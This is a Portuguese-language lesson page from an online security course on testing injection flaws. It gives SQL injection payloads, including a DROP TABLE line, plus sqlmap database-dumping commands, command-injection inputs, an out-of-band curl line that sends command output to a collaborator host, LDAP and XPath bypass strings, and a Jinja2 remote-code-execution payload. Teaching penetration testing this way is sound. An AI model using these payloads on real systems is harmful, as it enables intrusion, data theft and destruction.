Testes de Vulnerabilidades de Injeção
Use SQLMap, cargas manuais e o Burp para testar injeções de SQL, comandos e LDAP.
Testes de Vulnerabilidades de Injeção é uma aula grátis de Cyber Security Academy no CoddyKit. Esta é a aula 2 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de Cyber Security Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de Cyber Security Academy inclui 4 aulas no total.
Classes de vulnerabilidades de injeção
A injeção ocorre quando dados não confiáveis são enviados a um interpretador como parte de um comando ou consulta. O interpretador não consegue distinguir dados de comandos e executa uma lógica controlada pelo invasor. Injeções de SQL, de comandos, de LDAP, de XPath e de modelos pertencem a essa classe.
Injeção de SQL: testes manuais
Comece com cargas úteis simples para investigar a possibilidade de injeção de SQL. Uma aspa simples causa um erro de sintaxe SQL em aplicações vulneráveis. Verifique mensagens de erro, diferenças no tamanho das respostas e o tempo de resposta.
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLMap para SQLi automatizado
O SQLMap automatiza a detecção e a exploração de injeções de SQL: detecta pontos de injeção, identifica o DBMS e pode extrair bancos de dados, usar read em arquivos e obter execução de código no OS em sistemas vulneráveis.
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpTeste de injeção de comandos
A injeção de comandos ocorre quando a entrada do usuário é passada para funções do shell do OS. Teste com metacaracteres do shell: ponto e vírgula, pipes, crases e substituição de comandos com $().
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)Injeção de LDAP
A injeção de LDAP manipula consultas LDAP usadas para autenticação e pesquisas em diretórios. Teste os campos de autenticação com: *)(uid=*))(|(uid=* para contornar filtros.
Injeção de XPath
A injeção de XPath tem como alvo sistemas de autenticação baseados em XML. É semelhante à SQLi: as cargas úteis manipulam consultas XPath, como ' or '1'='1, para contornar a autenticação.
Injeção de modelos (SSTI)
A injeção de modelos do lado do servidor ocorre quando a entrada do usuário é renderizada em um mecanismo de modelos (Jinja2, Twig, Freemarker). Para detectá-la, injete {{7*7}}: se a resposta mostrar 49, existe SSTI.
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Uso do Burp em testes de injeção
Envie solicitações ao Repeater e injete manualmente cargas úteis em cada parâmetro. Use o Intruder para automatizar testes com listas de palavras para injeção (o SecLists contém excelentes cargas úteis de injeção).
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*Detecção de injeção cega
Quando não há saída visível, use: atrasos de tempo para confirmar a execução, retornos DNS fora de banda (Burp Collaborator ou interactsh) e respostas baseadas em booleanos (alterações no tamanho do conteúdo).
Leitura de mensagens de erro da aplicação
Erros detalhados revelam o tipo de banco de dados, a estrutura da consulta e os caminhos dos arquivos — informações inestimáveis para criar cargas úteis precisas. Sempre teste com entradas de depuração ou que revelem erros, além das cargas úteis normais.
Referência de prevenção
A injeção é prevenida por: consultas parametrizadas (SQLi), validação de entradas e escape do shell (injeção de comandos), além de evitar a renderização de entradas do usuário em modelos (SSTI). Os desenvolvedores precisam entender essas medidas para escrever código seguro.
Verificação rápida
O que a carga útil de detecção de SSTI {{7*7}} confirma quando a resposta mostra 49?
Resumo: testes de injeção
As vulnerabilidades de injeção são causadas pela mistura de dados e comandos. Teste todas as entradas controladas pelo usuário com cargas úteis de injeção de SQL, de comandos, de modelos e de LDAP. Use o SQLMap para injeção de SQL automatizada, o Burp Repeater para testes manuais e técnicas de atraso de tempo ou OOB para exploração cega. Sempre documente as cargas úteis e as evidências no relatório.
Perguntas Frequentes
A aula “Testes de Vulnerabilidades de Injeção” é grátis?
Sim — o texto completo de “Testes de Vulnerabilidades de Injeção” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de Cyber Security Academy, atualize para CoddyKit PRO. O curso de Cyber Security Academy inclui 4 aulas no total.
O que vou aprender em “Testes de Vulnerabilidades de Injeção”?
Use SQLMap, cargas manuais e o Burp para testar injeções de SQL, comandos e LDAP. Você pratica Cyber Security Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.
Preciso ter experiência prévia para começar Cyber Security Academy?
Nenhuma experiência prévia é necessária. Cyber Security Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 2 de 4.
Quanto tempo leva a aula “Testes de Vulnerabilidades de Injeção”?
A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.
Posso escrever e executar código nesta aula de Cyber Security Academy?
Sim. Cada aula de Cyber Security Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.
Todas as aulas deste curso
- Proxy do Burp Suite e Interceptação de Requisições
- Testes de Vulnerabilidades de Injeção
- Testes de Autenticação e Sessão
- Vulnerabilidades de Upload de Arquivos e SSRF